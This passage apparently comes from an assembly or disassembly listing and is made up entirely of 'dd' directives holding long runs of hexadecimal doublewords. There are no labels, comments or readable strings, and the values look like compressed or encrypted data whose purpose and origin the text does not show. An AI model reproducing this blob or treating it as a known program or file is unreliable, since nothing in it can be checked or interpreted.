5EF130BDh, 325A7E20h, 0E885AC4Ah, 0B8ED5604h dd 0C1E95309h, 1279725Dh, 75A5EA81h, 7E720E6Fh, 0E4C00370h dd 0D1C4FE08h, 983F4C23h, 0F54A7CE3h, 0E4D324ACh, 15E88E9h dd 0F4102DF6h, 0EE871397h, 0B80F4E8h, 1E85CE1h, 5BB09097h dd 0B5518093h, 0ED80CB0Fh, 5E466BAAh, 50F382EAh, 84FD9A60h dd 75AE5D81h, 3213EFBFh, 89174FB9h, 0B22964CAh, 0B90FC4ABh dd 0DB13AA17h, 4269ECC1h, 7D89C210h, 2958381Dh, 8489559Fh dd 0CC28C85Ah, 0ED0202Ah, 8F131505h, 1381432Eh, 29018D4Fh dd 0F89E43D1h, 0B6EC655Bh, 6187240Fh, 2768FE86h, 3BA85897h dd 845FF4EEh, 47EB192h, 88DB2108h, 11217A60h, 5E025643h dd 486BCA90h, 5DEB21C6h, 0AEAF4810h, 0D68F698h, 2CB7B4Fh dd 0E9164296h, 8793A4ADh, 4E7940A0h, 0AC0B54B0h, 7845255Eh dd 42AFC9Eh, 89E3FC74h, 0E72B80D7h, 1D1665BFh, 3AB84F64h dd 6728002h, 0B760891Fh, 58C982C5h, 83520958h, 0B4EA08B9h dd 0FC25BCF8h, 66EFEADCh, 9EDF58E0h, 0E21608B7h, 66B4C58Fh dd 5AB0532Eh, 0CC228C6h, 633C3A81h, 4038B65Bh, 0B3805594h dd 0D3F600FDh, 0C057E380h, 515E06EBh, 0E9216CCBh, 0AF53A7AFh dd 0DA3438BDh, 762C3CD8h, 90064A92h, 99413399h, 0E6C12512h dd 82CE8307h, 5348A7A1h, 19F42080h, 0E6D1793Fh, 2C854BBEh dd 8B054D6Ah, 5F24F2C0h, 3F84AE94h, 0F1F6E691h, 96CCC724h dd 47378B47h, 0FC8B6C59h, 69497CC5h, 0F82E394Ch, 50606F44h dd 0C6BD7B8h, 0D9BE046Ah, 4BF290Bh, 0D4AEEDCDh, 0BD5AC29Eh dd 9EC2B4F4h, 0C14F2278h, 0E5692075h, 63EF338Eh, 40B5C74h dd 0B43529C0h, 7B061102h, 7F39E940h, 47F6A5A1h, 6E043EC0h dd 0BD52684Ch, 16E548D1h, 0EDA2909Eh, 0E537FA4Ah, 686B56F2h dd 505D55BDh, 40A980F7h, 7A950587h, 6B0A946Bh, 0D658E276h dd 26880AAh, 208D5D4Ah, 99DA1C2h, 113D1C77h, 95612D1Ah dd 44B72FCh, 7EC68F8h, 0B8CBF3C4h, 584DA115h, 63970305h dd 2C3A4874h, 0BBD401Fh, 46DF201Ah, 7161D80h, 0A1B835F0h dd 0CFB7434Bh, 3C7F5C25h, 0C0E95175h, 0CADBB23Bh, 3D0FCF51h dd 48124571h, 0D045D2BAh, 2AC1CE1h, 497A7453h, 5F147D8Ch dd 78FC294Ah, 7488EBB4h, 0FC212FE9h, 9D897879h, 4644558Dh dd 0CF1D689Fh, 563C146Dh, 0CD84995Ah, 0E2E74158h, 4FC1B50Ah dd 0AE587A28h, 0D1DFEC3Fh, 2D5EF7D5h, 25C5D4F8h, 66DE74D6h dd 9DC07D02h, 575B5453h, 6795FA56h, 74DF979Eh, 9990AE10h dd 0F2DAF658h, 8DE76038h, 80F484C5h, 0EA89EB12h, 0CAB0F7E8h dd 66F23759h, 2A50574Ch, 6CBDE730h, 5EF018EEh, 6FA0CC51h dd 0E9427D0Dh, 0CAA0B10Ah, 0C2C083AEh, 4E6800B1h, 2228B33Ah dd 0E548C15Bh, 0E153CFDCh, 414B076Fh, 0CEBC6E30h, 0A6E5EE1Dh dd 8492F998h, 0AC0BD7B9h, 0EB8505F7h, 7F4704ABh, 0E4EA993Fh dd 0DEA663EFh, 0FBCB2797h, 2BD244D4h, 151EF75Bh, 4EE9F626h dd 93A81649h, 0FB438D43h, 84E02B4Fh, 0B3E84B21h, 5EE909A7h dd 0F2905D74h, 751F92EAh, 404CA5A9h, 0B5B91A73h, 899727FAh dd 0C7590030h, 4FF7630Bh, 588EF83Eh, 0A11E108Dh, 0F8295A03h dd 0ECE17505h, 0E8B8405Ch, 8001B951h, 0E9068203h, 496E4785h dd 0F4A7BD53h, 0F2540468h, 3C444FCDh, 8002AD97h, 65E0D1F5h dd 0E54CC007h, 75B712BAh, 1C4A93ACh, 0E91982A0h, 4E578489h dd 590BA212h, 0EF562566h, 75B47E31h, 5FEDBA00h, 0C138C32Ch dd 0C8206005h, 0BF34A104h, 0E104BF12h, 59B89E92h, 5745E8A2h dd 89ED0597h, 1A845B1h, 0E649F9F6h, 4AE168D0h, 1292CF04h dd 0CBEEF51Fh, 88A012F2h, 469832EEh, 9746667Fh, 75641340h dd 3E80244Fh, 9E62E905h, 0BBB702C1h, 282D7F6h, 0FF85C780h dd 66F7E1E4h, 3010946Ah, 3DF223C2h, 0CE1305Fh, 138350Ch dd 0E089782Fh, 80DBF1FDh, 75621268h, 0D5EE1C3Dh, 12C62ECh dd 9F1071CAh, 2CF75926h, 77B86009h, 43090906h, 55959AE9h dd 78ECEE98h, 0F724E87Eh, 0F11A85D1h, 4E055F11h, 6906A1DBh dd 7502897Fh, 0D389724Dh, 4411546Dh, 4902A089h, 11B7CF6Eh dd 0ABCD4B7Dh, 0F6F2A934h, 663C3A98h, 9FCE3080h, 0F0F8AB96h dd 8522E927h, 0DA074DCCh, 6CC40F1Eh, 0E91AB4AEh, 993F5F35h dd 9B68BA90h, 1539EC1Eh, 68442958h, 3CA8E982h, 1766E490h dd 0D04EEE25h, 80E6403Ch, 679808F2h, 2C5C29C2h, 0AD0E5784h dd 0E6B10992h, 0B0500C00h, 3320E987h, 12B21583h, 310F128h dd 0ACB84B99h, 0A396F28h, 0A67C9BF5h, 572C1281h, 0F04AF8A4h dd 0C0F6B5E9h, 2C1FC639h, 6ABF18C9h, 5E080D36h, 88FEF1E6h dd 1E3DE3A9h, 60172C77h, 0A95F0F82h, 4E3FF4CEh, 5B3D7EC8h dd 2883FBCh, 59CAB5BFh, 858B4DF8h, 71A6DD6h, 9382FDD1h dd 31028C75h, 99BAC1E8h, 9DCDB23Eh, 3BEA2E62h, 0D8BD584Dh dd 0FD3035CEh, 0C08425B4h, 3320B4AAh, 1236C848h, 68FAD001h dd 0B26A28BEh, 0CEC7A49Bh, 54C8E2D2h, 2AFDC2E7h, 40629F7Eh dd 64337E6Ch, 3C98BB5Fh, 0C9565BE5h, 13492DE9h, 6E96DAEh dd 5C1788Ch, 20253E09h, 0DE3A0514h, 4F19D1D8h, 6BDF49A5h dd 605206E1h, 6D5FB6AEh, 6BA50B30h, 1F359835h, 0D37510F7h dd 6AA7F14Ah, 32B914B4h, 0DA16581Eh, 0EDF16BCAh, 181944A6h dd 0DA34666Fh, 869F56A7h, 0ED96512Dh, 0E986EF42h, 585CC9AFh dd 0D0C61737h, 41DDF9D0h, 0E86E5A07h, 0E6F34EF2h, 477A6D25h dd 0E834FD98h, 0EE80EF7Ah, 0D05B7B58h, 0C22093B1h, 0CD0C5D66h dd 9FB23829h, 0FC10AC49h, 16B576CAh, 0B1CB2793h, 0E309F35Eh dd 0D3B66327h, 6A443DBEh, 87B0EA9Fh, 6DD044C2h, 0D98E310Ah dd 11B105BEh, 530C8240h, 81170093h, 0AE3578E7h, 0E8B0475Eh dd 0E23112E5h, 31E17D9Bh, 0DFC72EA2h, 6055010Ah, 61649DCh dd 15BFB81Dh, 1003DA0Ch, 0FDB440CAh, 0ED089262h, 768C0249h dd 733BC303h, 3CBE4028h, 1B19DE64h, 87DEA06h, 3310E420h dd 2520CA04h, 0A82008CEh, 5DD82075h, 206F6020h, 0C4318BB2h dd 0E1B43867h, 880A1401h, 8984F10h, 203F5EA2h, 0D4103366h dd 4ECF008h, 2106F27Ah, 4F40E18Ah, 862621Ah, 7602E5ABh dd 0F07B02DCh, 317F1303h, 5E813930h, 76089530h, 5CC71080h dd 10823110h, 0B418993Eh, 6C8A1061h, 3C3008C4h, 20C3C406h dd 8E8A531h, 188C2432h, 0F6085633h, 0D318C062h, 35050253h dd 6D27902h, 6E3111D1h, 1451088Ch, 90063D12h, 0EE893781h dd 189EE608h, 19817CF0h, 0B3AEB851h, 2B09B01h, 86F4A3C4h dd 8E29206Bh, 7AE9BC66h, 883F3141h, 3A3A928h, 22416C81h dd 87406818h, 103F65D4h, 0C6C04670h, 0FA201045h, 0EE9208Ah dd 20E25320h, 2931931Bh, 25990880h, 9CB94E01h, 873CE20h dd 0E2491B57h, 0AAEB0874h, 8D281818h, 81B54C08h, 332043FCh dd 0DED30819h, 7B010789h, 984901E7h, 9F728D01h, 32E07508h dd 0FF20A67Fh, 62130848h dd 94AC18C4h, 6FB1A04h, 31089742h, 2F206503h, 395B01EDh dd 1F7A108Ch, 0D7641108h, 0EA1CE351h, 6F3A20E0h, 18C986EEh dd 2D5422F9h, 0EBDA0275h, 0DC4CF305h, 0A85F4173h, 0C492138Ch dd 6DB4328h, 40F12D6Ch, 8949CA79h, 201120C4h, 5D20209Eh dd 99036F7Ch, 0C21089CCh, 40F6D540h, 6A6EC802h, 841290D1h dd 0F490516Eh, 0F559BC31h, 1C1092C9h, 0B018884Ah, 6D89A199h dd 63C0D188h, 8BC4608h, 4208B262h, 570409A3h, 6608024h dd 26104E18h, 991488C8h, 52811866h, 106A2B80h, 2018E78Ch dd 40F89040h, 0C56601ECh, 63992208h, 4C641123h, 8046302Ah dd 37177A20h, 74087BFAh, 33C0458h, 285B4F06h, 0F3B49754h dd 3608AE62h, 9C6000CAh, 0A499E8FCh, 0CF19402Dh, 8B1EC746h dd 0E7468EC7h, 3B001043h, 2752C47h, 0C68913EBh, 3DA7B90Eh dd 10005F4h, 49408F44h, 1775C90Bh, 1D748BF7h, 3DE0413h dd 0DA4AEF0h, 0CC07833h, 304FB10Fh, 405AC2Ch, 92B5516Ch dd 74E9CF90h, 0DBBF8021h, 257CABEAh, 200464B5h, 619817D6h dd 8742C303h, 0E9F82144h, 6A8E3BA0h, 17E4FC88h, 2D9F46Dh dd 0EBD7D98Bh, 0B377772Fh, 0A15E1BFDh, 0FB84D4ADh, 0BE563068h dd 0B74D0208h, 0C327E918h, 88415456h, 62EC50CFh, 293B9D3Eh dd 0AD2EC0D9h, 1290B16h, 7239E0B8h, 277EF660h, 0CDB0151h dd 8273FC26h, 403259D8h, 0B4505266h, 0ACB86D73h, 12728820h dd 0ED8435E9h, 0D012DC27h, 0A41ACCBAh, 3FA62070h, 0BCBE8C3h dd 0B99C02E0h, 195E7CDBh, 0BC20D17Eh, 0A4229517h, 0CF691606h dd 80CB0C37h, 7C06E0EBh, 82E9C1C7h, 7BDFB4Ch, 52727529h dd 2DD561BEh, 0F8063BE6h, 52490ACh, 4D44E305h, 7D3AEC4Bh dd 0C6496C2Dh, 270E9658h, 0DAE2B3DCh, 0D5AE0EFEh, 5F70AAB7h dd 97F6C3B4h, 813F5FC1h, 1F83CDEDh, 0EDD8389Dh, 0FD9F17AFh dd 583DE839h, 71CA05D9h, 0C5C256B2h, 5BCF8050h, 97FEF580h dd 4B042403h, 0D32CC8A9h, 0E4CD9AB3h, 745F0624h, 8EC664E8h dd 0C704756Bh, 638A7EB2h, 198ED4EEh, 0EC741C08h, 5B4A0C20h dd 0F1A54929h, 9BA4FFA3h, 54514B80h, 39FE594Bh, 12D2ACBh dd 7CF442Eh, 447C1452h, 0E65ED1BDh, 65A7A820h, 10A76CBh dd 0F1E853F6h, 3FF5297Ch, 33971D01h, 7A824B69h, 13E83531h dd 0CA2A6855h, 4059BFDEh, 0C062399Fh, 0A4B850C8h, 25E4806Ah dd 0AC1C7F00h, 47BB5316h, 0B5EC2595h, 2D12D254h, 1CAE4BAAh dd 973834DDh, 52C26A76h, 9A187FDBh, 7F8B317Ah, 7EB60220h dd 12BCCE9h, 0E4C74849h, 0E4F66F02h, 312C92EDh, 1190CDEEh dd 3C7B19E2h, 32B38655h, 44E3A042h, 34743D2Eh, 6E4241FAh dd 4B7178D8h, 1092A3DEh, 8107065Ch, 244C55C5h, 15418069h dd 5D02DD36h, 49A9E95Eh, 0BCC6401h, 3E2F6AFDh, 0DBDBA361h dd 2BC24103h, 0EB75BC4Fh, 82AC7EAh, 0C1E4224h, 79B057E7h dd 3DC18C71h, 887364C6h, 6BCF807Ah, 87BDDC7Ch, 0DB0C8BD7h dd 0B211E14h, 0F7E0CE48h, 1EFF4A10h, 445193F6h, 81AD66A3h dd 0AD92CE93h, 755E9210h, 4ED91C0Bh, 81945725h, 76F2C920h dd 9F1245Ch, 38CF6F15h, 8556105Ah, 97DD66C9h, 0B120A5F0h dd 2463F81Dh, 4C603Fh, 404E49C7h, 8328E93Ah, 0EC958612h dd 7C6A273Fh, 0F020C769h, 11FDFF7h, 878E52FBh, 88AFD211h dd 7F3D2D23h, 1444BE5Eh, 4F0705C8h, 6CA63CF9h, 72CA819Fh dd 0EC2E282Ch, 47B304CBh, 0F3822529h, 5E0785EBh, 3FB18BEBh dd 7D1392E6h, 2A1CB400h, 4A31AB19h, 0C32FA1CBh, 2958E8C8h dd 8698D05Fh, 0FFFFA206h, 6755323Ah, 0FF5C92DBh, 66996020h dd 4A1F7648h, 2F5DB05Ah, 0E60DD709h, 48BCD631h, 0B53B0A92h dd 0C24342DDh, 0E8A17709h, 808A32CFh, 0D219C340h, 60890E2Ah dd 0BCE1F4D9h, 744B8F1Ch, 0A0A442AAh, 0CE413370h, 0CBA0EA57h dd 0C01282E6h, 0EE1F1376h, 26D730F5h, 0EAD46DA1h, 0BA28C04Fh dd 68AC4E35h, 9BD50BFh, 71A1355h, 5B66A4F7h, 0C0BA294h dd 2FDB5A5Ah, 3FDEED79h, 985BDE50h, 11B20B52h, 17D87AAFh dd 50FE914h, 58880117h, 0DD010EC8h, 0FE506097h, 0EB78E829h dd 0AA94B784h, 60BF81E4h, 0C7C5E175h, 737BC30Ch, 94D25924h dd 0C40280B4h, 80B56E0Dh, 32F6CF8Fh, 0AD304E97h, 99058ACh dd 142126h, 6BE3E174h, 0DE0E9522h, 398C66Ah, 328D0AC1h dd 2E0380B7h, 0BD937F55h, 0B363A08Ch, 4F88A0FDh, 5AF9BD51h dd 0AC3DF9C9h, 0A77A2C56h, 5319DBF6h, 580319E2h, 175DAE06h dd 0C9C7D10h, 374D274Eh, 7B1944B4h, 6C60AFCh, 0EC04F7FCh dd 0C4125A10h, 0B82283C2h, 3F9048h, 0D6F629B6h, 0E2C0C680h dd 0E9030CE6h, 0B96A9D94h, 55C3680Fh, 7DF746A5h, 3580415h dd 0EA09672Dh, 6C285241h, 0B7401042h, 98975D85h, 4F509596h dd 565A0880h, 91049BB8h, 5B69AA1Fh, 3198C0ABh, 60486ACh dd 30E9DE89h, 8AC1D7FEh, 25A38884h, 63A7DE2Dh, 0C0501981h dd 711209FCh, 6500260Ch, 61DA0A18h, 501E25E9h, 6A623AD4h dd 0F42D2F9h, 50A57C5Ch, 0BB79DD64h, 84EDA9DDh, 0BEF4842Eh dd 0E98321A6h, 161D7AF6h, 0BBCBC209h, 0C0EE94B5h, 0C978056Ch dd 0F7510158h, 850804D5h, 8838A5DDh, 4EC3478Ah, 81744BC4h dd 25F45AC4h, 10C0621Eh, 0AC4EFA1Ah, 35FB31B3h, 0D93A02C2h dd 0B49EFC13h, 65E912D7h, 0EFAA089Fh, 0C979DC2Dh, 41426C2Bh dd 0AC4D1555h, 6B406771h, 7580F551h, 0E9416178h, 0D3335110h dd 0C08BB72Eh, 9E685753h, 1A452407h, 39041BBAh, 9471BDB0h dd 6BF43D7Bh, 1B58E388h, 8E76866h, 2AB2790Eh, 3A1AADE9h dd 2AD9DF7Ch, 0A1F97DADh, 896AF971h, 8BAD607Fh, 2DC440h dd 74800CBFh, 915EC0Dh, 68512705h, 0F3B36F83h, 0D04E8712h dd 5B29C1EFh, 51EE1B1Eh, 8BFC5917h, 6171FBB0h, 0C0E93F15h dd 4AC4AF0h, 1F1C772Ch, 3291082Dh, 7215C13h, 0EB05EC50h dd 94A9D713h, 1FEAC280h, 0E914146Eh, 25812AD0h, 22325D31h dd 0E93418F5h, 0EDB64A16h, 5BEBB305h, 30EEFCB5h, 81020607h dd 140409F3h, 895DA8E0h, 55897570h, 12576028h, 0EE881C5Ah dd 50624070h, 213E2B1Fh, 407DAFD3h, 249141AEh, 1264D8F7h dd 0C155313Bh, 3D0560EAh, 9CA0269h, 5C838598h, 1A02CEEAh dd 54BEC520h, 25E90457h, 174FAB8h, 2E58F580h, 49E9E270h dd 0F6038135h, 0FFC280DAh, 0E7296210h, 0F5285A0Fh, 0EA60ED84h dd 69327B2h, 9C08DACAh, 9D325876h, 0C32118DFh, 0EC80260Ch dd 225C79F0h, 0E3BAC407h, 830BEBE8h, 0A07D01EAh, 41670EF7h dd 8E564866h, 0B40D2704h, 0E9B3AE53h, 0A0CDC70Bh, 7D698CD7h dd 31114062h, 0D8C6CBFBh, 7814A720h, 83A92655h, 0F7F68B72h dd 6F4791DCh, 31C4D4E1h, 0B02F5261h, 999A4E83h, 0EF18013h dd 2728C408h, 7C624CF4h, 2F854C0Bh, 0DA7E3FCDh, 0E2CF169h dd 384BCF88h, 0D00C2B5Bh, 0CBF308Eh, 75A3166h, 540BBA6h dd 5F57C433h, 9B900D5h, 984B6349h, 3B2C740Dh, 0F10211BCh dd 23DE13E5h, 6EED1861h, 7F345BCAh, 46CCBEEFh, 836984C5h dd 0B7675F0Ch, 0A9B86F96h, 2529BD2Ah, 0FC0935A8h, 452AE6F0h dd 0F82F85A0h, 2EF6E55Fh, 4334054Ah, 0EFE4286Eh, 28840CA2h dd 68ADF05Bh, 0D34B9B2Fh, 0A1A965AEh, 2FB62F2Dh, 0D02D6912h dd 0EA48CFBBh, 0EE9B56C5h, 24418ABFh, 0E00B6BBBh, 0E9C9A2BFh dd 9EE559D5h, 5704954h, 5887E048h, 2907901Dh, 820DEACh dd 0BC80E917h, 10F85756h dd 16CA6679h, 0FAB78C37h, 54640820h, 52023BFBh, 8227906Bh dd 0BBB7FF9h, 4C2D5CDBh, 0E9F80C38h, 250E2D43h, 8E4FB40Fh dd 23A64C4Bh, 0E616A268h, 212D05D2h, 0AE7BAB66h, 717F384h dd 683B2CEBh, 2C2F3A20h, 60C890E9h, 18A13D9Dh, 3401F6ECh dd 0E9473098h, 0FF38E067h, 512BF91h, 8548F602h, 87173A47h dd 0A99AA8F9h, 427D861h, 0EC5FECBCh, 44A8F5BEh, 1303D82h dd 0F7819B64h, 0DB4E4F8h, 96E58102h, 0C068A829h, 2FE3CFDDh dd 1A583CA2h, 451B2D1Eh, 0F00A4BDEh, 0B260705h, 24A85A08h dd 0F15017CCh, 77E07E06h, 97050407h, 0EBFE8710h, 76E949C0h dd 0B77CB21Eh, 0FB347EC8h, 1D41895h, 4B3E9A58h, 3BDFCA56h dd 0F9CD825Eh, 5E265A47h, 9CAD8CACh, 1C09F3F7h, 1016E248h dd 0BD0B434Fh, 6B3A7618h, 5D7E3476h, 0E320AE2Ah, 1C30E00Fh dd 86364413h, 71E78003h, 0C257C799h, 6C5E2541h, 0CFD55237h dd 25F9E953h, 81D8BFC2h, 0F41F17B7h, 0B0110922h, 0C436E2B1h dd 0C0971050h, 97D829DDh, 80BE7971h, 4A407568h, 1E355826h dd 7F215A3Bh, 0FD5FC7BCh, 2908D320h, 8D232D14h, 0DB2774D3h dd 0BC345159h, 5D057615h, 774E2E78h, 28D42FF6h, 44D76E42h dd 653502A6h, 0FB295372h, 21CBF361h, 0B0533h, 8A6F3F33h dd 829F597Fh, 0DD9B3CFFh, 152E6E07h, 0C9D90014h, 46CA4C93h dd 0F7092C9Ch, 0A8C881D1h, 30ED13h, 0D44E4EE3h, 0F6F28308h dd 14E5A53Fh, 0DFE1DE20h, 0AE568ECBh, 7CC59F34h, 0DABA0147h dd 775C27D3h, 285E881Ah, 17DC4795h, 2535BDDCh, 60D12FFAh dd 79C2B95Ah, 28265878h, 573C4106h, 0B50FD818h, 58EC4038h dd 4B0CCD1Ah, 0D7F7A1EFh, 0F28DABB5h, 0E926982Fh, 0B5B69A20h dd 0D5C1BB81h, 700CD95Dh, 318025AFh, 8576974Ch, 2F204770h dd 3205DBE9h, 0E997AF91h, 0D264D3A0h, 9354C133h, 6D3CDF05h dd 173A100Bh, 5AB7530Ch, 0B2023406h, 5BFA30FFh, 7A070B28h dd 0A6EA34C9h, 0B3530F11h, 6DC3E021h, 0E05BDD88h, 38E917EAh dd 507D4062h, 0BE18F0B8h, 0DD280D7Ch, 5695D748h, 4FA4CF32h dd 0D9F70380h, 4EB0C341h, 172CEA28h, 0C7AA5D5Dh, 0DA18E125h dd 88D43EEh, 0D697F397h, 0E9B0DDECh, 3DFF0A09h, 0CBE85BBDh dd 242C55E1h, 720053F3h, 80BD4027h, 9DD8D2B8h, 0C24D3BC0h dd 5985D3BCh, 0EEA8DA7Fh, 0BDFD004Ah, 3546799Eh, 536C49Fh dd 47C26F30h, 4E07FE4Dh, 174F7B5h, 52936802h, 17A63CD1h dd 5E02AC48h, 0C23A350Eh, 0F69416AEh, 3E43BFCBh, 0E92C0FE0h dd 1053F02Dh, 975F5AE3h, 0A482C442h, 1E0B0A5Dh, 4E48901Dh dd 8E20FB3Dh, 0CC0F4BE9h, 5AEC5F32h, 0A16B9B00h, 272CFF2Dh dd 25E91750h, 0DA4C4517h, 0AD1E2240h, 0C302A372h, 0EC216115h dd 7FE15D09h, 7BBB60F7h, 2DE77C18h, 340B3BE8h, 0C11A526Ah dd 4048062Dh, 7A350706h, 5F27E512h, 41EB2DC4h, 0DD762A62h dd 2976E65Eh, 0C66828C2h, 691AF0C3h, 0A678E559h, 7500234Fh dd 4549E12Dh, 69B69164h, 9CE9D6B0h, 7F169F69h, 8BB50FECh dd 642EBA4Eh, 11641275h, 859FE801h, 72966EDEh, 29599512h dd 0D0A531E8h, 545D31Dh, 29276EFh, 77478A13h, 38C13040h dd 48A83A58h, 0F95F0146h, 0A2E905C2h, 0C1037679h, 52BBFBCBh dd 9D7E6DAh, 0C2145D91h, 0A9C1C227h, 0D2FC63B3h, 90ABF07Dh dd 1E7724A4h, 492B9FEDh, 4C55FC52h, 5AD4F685h, 86BBA92Ah dd 9FD13735h, 0EA4891D8h, 673B10E4h, 5037B180h, 0C01A58B4h dd 0FD0607ECh, 2F7BB3E1h, 5BD934F4h, 3B5AC98Ah, 881399B9h dd 59BBE3E5h, 0B968989Fh, 0C8E91A1Bh, 0E85DBA31h, 80F18299h dd 770BE781h, 0F5172A1Ch, 0F94A9981h, 291C7014h, 0B4C0CEB5h dd 80FD6956h, 55022275h, 0F7811D2Bh, 4418CFBh, 1605330Ch dd 0EAE963C3h, 5954DF44h, 805DD583h, 7C8307E4h, 0A87BBFC5h dd 529DCBFh, 576C07DEh, 0C8F4D3AEh, 1A0AFA8h, 95A478B5h dd 52DB5Eh, 0F42534F2h, 0F101243Ah, 0EA08208Fh, 86206FB4h dd 2909F260h, 0CEC07FA2h, 9E2F6B57h, 4F9225E9h, 4D13A473h dd 405DAE82h, 270E8437h, 0D1781946h, 0CDD463B7h, 0C12B19F1h dd 0FE37FEE3h, 2FAC6EDFh, 7DE25AD5h, 54E7FA54h, 399005C4h dd 0B5454168h, 2269C759h, 0F5C75C9Fh, 8830264h, 0B8EED824h dd 2F0FBC3h, 36FABA10h, 487F2FE2h, 4C6C46A0h, 0EA151C80h dd 0B996BC02h, 0B0C20345h, 0D5AFFE5Dh, 54C52092h, 0F576B50Bh dd 85FC4517h, 4F63BC2Ah, 5A6F19E0h, 0CC76C988h, 0AF3C2DC8h dd 5110130h, 6DAA1315h, 0B28AB83Ah, 39F77897h, 0E50AEDD1h dd 0A8AC7868h, 2A2741BFh, 0C8B86D0Bh, 12E8C312h, 0C4066B1Eh dd 21CB01A0h, 249303E9h, 38D7BEE1h, 0A12A44FEh, 2ECDEADAh dd 0DAFA8205h, 2D45588Ch, 88DBD912h, 5700EFEAh, 0E8D0AF68h dd 0A85F5B6Eh, 0F2210A1Fh, 8400B25Eh, 6851F63Bh, 200E5476h dd 75BC1FB8h, 0AE002F34h, 3110D832h, 587D699Dh, 0CB46520h dd 29789901h, 0E248C150h, 42821043h, 3DCFB650h, 0F9123BFCh dd 0B11631F2h, 3C1F30E6h, 22E13026h, 0D5251124h, 3301DB87h dd 0F1B00FC9h, 0C83988CFh, 474E359h, 0F7C392FDh, 51A2B9E3h dd 2A1775E3h, 7516DBEBh, 0E72FD7E1h, 7E127B32h, 8FFB011Ah dd 0E9510740h, 0D70927BCh, 0D92DC867h, 5102C296h, 9762C154h dd 0CFC65552h, 13EEA12h, 0EEB56ABCh, 8B6414D9h, 22692FE9h dd 1B90CDD2h, 0D45C4B71h, 2E8E12D2h, 875E00D2h, 22B61EEBh dd 0F20100B5h, 3D5DEA81h, 68FA3613h, 3BF32859h, 0D5314A84h dd 0AE04C315h, 0C050E086h, 816BA0C8h, 9E2E20EFh, 0FA03C938h dd 0E4CF4E9h, 1404E8B1h, 0E1511E49h, 2C38089h, 0B05EF780h dd 50FE30F0h, 0E623E7C1h, 60767E9h, 7B125294h, 0F2539E5Eh dd 534D830h, 60167F05h, 5F71AE06h, 5000B7FCh, 0FE398DB0h dd 8C030C8h, 0B528652Ch, 0A2820DBh, 0BAE7B198h, 0C736E6A4h dd 8E60E533h, 0B5B86754h, 0B72B72C5h, 98856C5Dh, 28B22BA6h dd 6F050257h, 0D061B85Bh, 0B4056CD8h, 8829100Bh, 4826FEE4h dd 0FD3E4B73h, 0B0ED4CD3h, 82010D99h, 44968370h, 0EFC40269h dd 68730913h, 0A09D559Fh, 0CE0FEEAh, 9DECEC9Dh, 2D42B4F1h dd 0A62D4BFFh, 0BC5F5B86h, 0CF327DFFh, 60B81A1Ah, 2851A86Fh dd 4B514431h, 0C11EC0AAh, 810305E1h, 0AD53E2C9h, 4B900445h dd 0EE0B3B36h, 15FB93E0h, 0EB524774h, 0B0B15E2Fh, 0BA1045F6h dd 0F7428ACCh, 0E9D55C03h, 17CB401Bh, 0C1BE5D40h, 0F703D0D0h dd 0E36860D6h, 564E65BAh, 450A39BBh, 5A9CBC7Ah, 167299ACh dd 1E15FFDh, 8307FF5h, 0B0CDF07Dh, 73530916h, 2C972401h dd 0F5F06286h, 0DF151335h, 0E017AE12h, 170A07C6h, 0E20E0A18h dd 0CABA9242h, 28E93DBDh, 801CD136h, 0F22748C5h, 0F8F45F93h dd 0E457C456h, 50C39BAEh, 0CF44F263h, 0AC585EC7h, 80207BD6h dd 25B907A1h, 0A2609829h, 29E80553h, 240659EEh, 0F7560C15h dd 0DC5E4C6Ch, 0D7C2E17Ah, 0BA3242CDh, 752CCAA5h, 0C15DCA98h dd 0BB03E528h, 0F95B9D0Fh, 33E62F2Fh, 0D18393BAh, 29D58DC8h dd 0FA37F54Eh, 0B80596EFh, 81C078B1h, 4E104F41h, 0A10AB3Bh dd 141C6808h, 933F5B24h, 0E1A49FD0h, 95751E5Eh, 9831CC69h dd 0E6F84E16h, 781F240Ah, 72CF542h, 0E9270401h, 0E034D2FDh dd 656245B3h, 104B6270h, 0F71B4A72h, 83D3E5D2h, 0BD0CF872h dd 941F2B82h, 1DA713F5h, 0A4C61DAAh, 97529D57h, 0BE35801Ah dd 0A43D3688h, 0AF561702h dd 609139AEh, 6605F0D7h, 49417A97h, 4FA4FC2h, 37C9FF58h dd 14F74770h, 9077F61Eh, 0D4D83771h, 2AF4F928h, 1AE42D9Fh dd 9C2F5C79h, 4C0E7AAAh, 0DA2979C9h, 0CB082384h, 8D120259h dd 140883Fh, 8F74E901h, 1CD53EA5h, 0EBAF200Eh, 1EED6826h dd 0F4BE5DA5h, 18B25BBDh, 630543D5h, 4BC81C01h, 0E4748C2Dh dd 0F9E86F20h, 11CA0747h, 0F3685D04h, 34E984E0h, 0BF0ABE8Dh dd 0C95ABEC3h, 0F85144BAh, 0F53C20D0h, 32C08ADFh, 185184D5h dd 3D6DC24Eh, 99FD17EAh, 463ED746h, 0A2FC0EFFh, 82DFBF28h dd 0DB04675Fh, 0B452CD68h, 774FF379h, 74A76BFCh, 82860D47h dd 5F55A088h, 23A05B16h, 0DF455802h, 1916FB3Fh, 3412977h dd 0D8CD76C5h, 62E3B035h, 6AD71600h, 2EB739AEh, 3C6EA9A1h dd 1427E9E6h, 0B2844427h, 9753E42h, 4898733Fh, 5CB351Bh dd 0DA21712h, 825ABC0h, 892F1795h, 0C9BD64F9h, 2739D00Eh dd 3972C92Ch, 5841070Fh, 0F2E8C5B5h, 0D0224BA8h, 0EDC14DFAh dd 7E6F0648h, 8226C9BBh, 99FE1EAFh, 0EC5292A4h, 0C6E9C277h dd 0E22D0038h, 5B4AFC0Dh, 8A28D81h, 0BEE67DD6h, 97DCD12Ah dd 4904F0B7h, 302C0FAAh, 66D3BE2h, 0CCB06B0Dh, 0A6419Dh dd 7A426382h, 0BDDC7354h, 7B29940h, 66D53038h, 7AFE495Ah dd 162E985h, 0B8EA0190h, 3A0EBD28h, 8B45A9B3h, 784EE205h dd 0EAF42D07h, 0E27F9709h, 53A354E0h, 0EEF93A5Eh, 72950992h dd 25C41C7Dh, 22EE478Bh, 984E50F6h, 45B2DE90h, 7624C77h dd 0AB3F4305h, 21EFD7Eh, 4A805860h, 734D6041h, 0AEA910F9h dd 6CDB3A29h, 261238E0h, 9DF0565Dh, 2E42CDBAh, 80F4044h dd 40627268h, 1A34691h, 6052D828h, 84409770h, 1682855h dd 180D205Ch, 4FC45F4Bh, 0CE4155B7h, 5FA1E9D2h, 0F910EB32h dd 308C4580h, 669F1FB7h, 17590234h, 0EE29491Eh, 0A7873875h dd 5E201242h, 0F501C343h, 0D9E911E8h, 7CB74A5Fh, 0E2405324h dd 0BD004E88h, 58C70C84h, 8E0A1D20h, 13854460h, 4009FFD5h dd 